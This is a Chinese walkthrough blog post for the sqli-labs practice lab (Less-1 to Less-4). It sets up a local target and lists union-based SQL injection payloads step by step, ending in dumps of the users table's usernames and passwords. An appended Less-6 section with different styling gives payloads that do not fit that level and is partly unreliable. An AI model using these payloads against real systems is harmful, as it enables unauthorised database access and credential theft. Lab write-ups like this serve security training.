sqli-labs通关攻略【Less-1 Less-2 Less-3 Less-4】

前言: 靶场搭建

安装小皮【phpstudy_pro】,启动服务Apache和MySQL 5.7.26。

注意:如果MySQL5.7.26 无法启动,则是因为本机存在其他版本MySQL,冲突导致的。删除其他数据库或者在VMware中搭建Windows虚拟机安装运行即可。


点击网站--》管理--》php版本,选择php5.4版本左右的,如果没有点击“更多版本下载安装即可”。因为靶场只能在低于php5.4版本才能运行,默认的7.几版本无法运行靶场。

在GitHub中下载靶场压缩包。项⽬地址:https://github.com/Audi-1/sqli-labs

解压缩后,放在Apache的www网址根目录下。点击网站---管理----打开根目录,粘贴解压缩后的文化夹。【可修改文件夹名称为:sqli,便于后面访问】

打开:sqli文件夹得sql-connections文件夹,找到“db-creds.inc”文件,以记事本格式打开,将数据库密码dbpass:root【默认为root,如果修改过,请填自己修改后的密码】填入。


重启Apache和MySQL服务,浏览器通过“本机ip+/sqli【靶场文件夹的名称】“访问靶场首页。

【SQL注入】

一、Less-1

1. 点击第一关,今天的闯关开始啦。

2. 输入参数值

这里我们在/Less-1/处,通过 "?"来提交参数的值,输入 :?id=1。页面出现信息。

【注意是英文状态下的问号?】

3.  【注⼊判断顺序:判断注⼊类型--》判断闭合⽅式--》判断是否存在注⼊--》注⼊攻击

(1)首先我们进行判断是字符注入还是数字型注入。

通过逻辑判断:?id=1 and 1=1页面正常,而?id=1 and 1=2, 如果页面无变化则为字符型注入,则需要找到闭合方式。如果页面出现变化,则证明是数字型注入,此时不需要考虑闭合方式。

Less-1,输入:?id=1 and 1=1页面正常。而输入:?id=1 and 1=2,页面无变化。

【注意;】找闭合方式,先找到报错,在进行注释(--空格),URL过滤空格,我们以”--+“进行注释。继续找闭合方式,直到页面正常。

(2)可得出,此关为字符型注入。寻找闭合方式:输入单引号,发现报错。  

闭合方式【单引号  双引号 以及和小括号、中括号、花括号的搭配】  

(3)进行注释  --+,恢复页面正常,即闭合成功。

4. 下一步,我们判断字段数量。

使用order by 或者 group by进行判断,采用二分法。

order by 1;正确   order by 5;错误    order by 3;正确     order by4 ;错误

所有,字段数量为3 。    

5.  判断回显点:

【联合查询union】为了有结果显示,我们需要保证前一个条件为假。

输入:?id=-1' union select 1,2,3;    发现回显点在2和3处。

6. 查询数据库名,并在回显点显示。

输入:?id=-1' union select 1,2,database()--+     数据库名为:security

7. 查询该数据库下,所有表的表名。

输入:?id=-1' union select 1,2,table_name from information_schema.tables where table_schema='security'--+

为了以一条记录查看当前数据库所有表的表名,使用group_concat() 将其所有表名拼接为一条记录。  输入:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

8. 查询某表下的所有字段名。

看到有users表,我们以此为例进行爆破数据。输入:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+      发现字段id,username,password。

9. 查询该表下所有字段的所有数据。

输入:?id=-1' union select 1,2,group_concat(id,username,password) from users--+

10.为了数据显示清晰,在group_concat()中添加分隔符。

输入:?id=-1' union select 1,2,group_concat(id,':',username,'~',password) from users--+

二、Less-2

1. 输入参数:?id=1

2. 判断字符型还是数字型:

?id=1 and 1=2  页面错误,则为数字型注入。【不需要闭合。但注释--+】

3. 判断回显点

输入:?id=-1 union select 1,2,3--+【页面只显示一条数据,为了显示回显点,将前面条件变为假】

4. 爆破数据库库名

输入: ?id=-1 union  select 1,2,database()--+

5. 爆破该数据库下的所有表的表名

输入:?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

6. 爆破某表下的所有字段名   【以users表为例】

输入:?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+  

7. 爆破该表的所有字段的所有数据

输入:?id=-1 union select 1,2,group_concat(id,':',username,'~',password) from users--+  

三、Less-3

1. 输入参数:?id=1 ,判断注入类型:字符型还是数字型,寻找闭合方式

?id=1 and 1=2

闭合时,先找报错,后闭合   : 单引号报错了,注释后--+,仍错误。再添加小括号,找到完整的闭合方式 。   输入:?id=1'--+    -----》        ?id=1'--+    -----》       ?id=1')--+

2. 判断字段数     

输入: ?id=1') order by 1--+  正常      ---》   ?id=1') order by 5--+  错误

            ?id=1') order by 3--+  正常      ---》   ?id=1') order by 4--+  错误    所有字段数为3    

 

3. 找到页面的回显点  使用联合查询union

输入: ?id=-1') union select 1,2,3--+

4. 查询数据库库名

输入:?id=-1') union select 1,2,database()--+

5.查询该数据库下的所有表的表名

输入:?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

6. 查询某表下的所有字段名

输入:?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

7. 查询该数据库下users表下所有字段的所有数据

输入:?id=-1') union select 1,2,group_concat(id,':',username,'~',password) from users--+

四、Less-4

1.   进入闯关Less-4

2.  判断注入类型,寻找闭合方式,判断字段数

输入:?id=1 and 1=2    -->页面不变,是字符型注入  找闭合

?id=1“  报错   ----》   ?id=1"--+    注释 ,仍报错 ----》 ?id=1")--+   完整闭合

判断字段数: ?id=1") order by  3 --+  正确  ---》  ?id=1") order by  4--+ 错误   

判断出字段数为3 

3.  查看回显点,查找数据库库名

输入:?id=-1") union select 1,2,3 --+        //回显点是2和3

           ?id=-1") union select 1,2,database()--+

4.查看该数据库下所有表的表名,以及users表下所有字段名

表名:输入:?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

字段名: 输入:?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

5. 查看users表下所有字段的所有数据

输入: ?id=-1") union select 1,2,group_concat(id,':',username,'~',password) from users--+

 

  今天练习了基础的四关,除了第二关为数字型注入,其他三关都是字符型注入,需要判断各自的闭合方式。数字型注入不需要闭合。union联合查询,为了使结果显示在页面上,我们将union前面的条件变为假【通常前面加个“-”负号即可】。其中常用的字段有:database()  数据库名、information_schema.tables  所有表名 、information_schema.columns 所有字段名 、table_schema库名 、table_name表名 、column_name字段名,等等。

    好了,今天的SQL注入基础四关Less-1~Less-4,分享结束啦。   

    愿本文章能帮助到看到它的每一位读者哦。拜拜。

### SQLi-6 解题思路 #### 1. 确认注入点 通过访问 `http://127.0.0.1/sqli-labs-master/Less-6/?id=1` 并观察页面返回的内容,可以确认是否存在SQL注入漏洞。如果存在,则可以通过修改URL参数来进一步测试。 #### 2. 使用联合查询获取数据库信息 为了验证注入点并提取有用的信息,可以利用 `UNION SELECT` 进行联合查询。下面是一个用于检测注入点的payload: ```sql ?id=1 UNION SELECT 1,2,3 -- ``` 此语句的作用是将两个SELECT的结果集合并在一起显示出来。正常情况下应该能看到额外输出的三列数据(即123)。这有助于判断哪些字段会被展示在网页上[^4]。 #### 3. 提取当前使用的数据库名称 一旦确定了哪几列会显示在前端界面上之后,就可以尝试用更复杂的查询去获取更多敏感资料。比如要得到正在使用的数据库名字可以用如下命令: ```sql ?id=1 UNION SELECT 1,COUNT(*),CONCAT(DATABASE(),'/',FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x -- ``` 这段代码将会触发一个分组错误,并且会在报错信息里显示出所连接的MySQL实例下的默认数据库名。从给定的例子来看,这个数据库被命名为 "security"。 #### 4. 枚举所有表格 知道了具体的数据库之后,下一步就是找出其中所有的表结构。为此,可以执行类似的查询操作: ```sql ?id=1 UNION ALL SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema='security' LIMIT 1 OFFSET X-- ``` 这里的X代表偏移量,每次请求时都需要增加它以便遍历整个列表直到没有新的记录为止。这样就能逐步收集到目标站点内存储的所有表的名字[^5]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值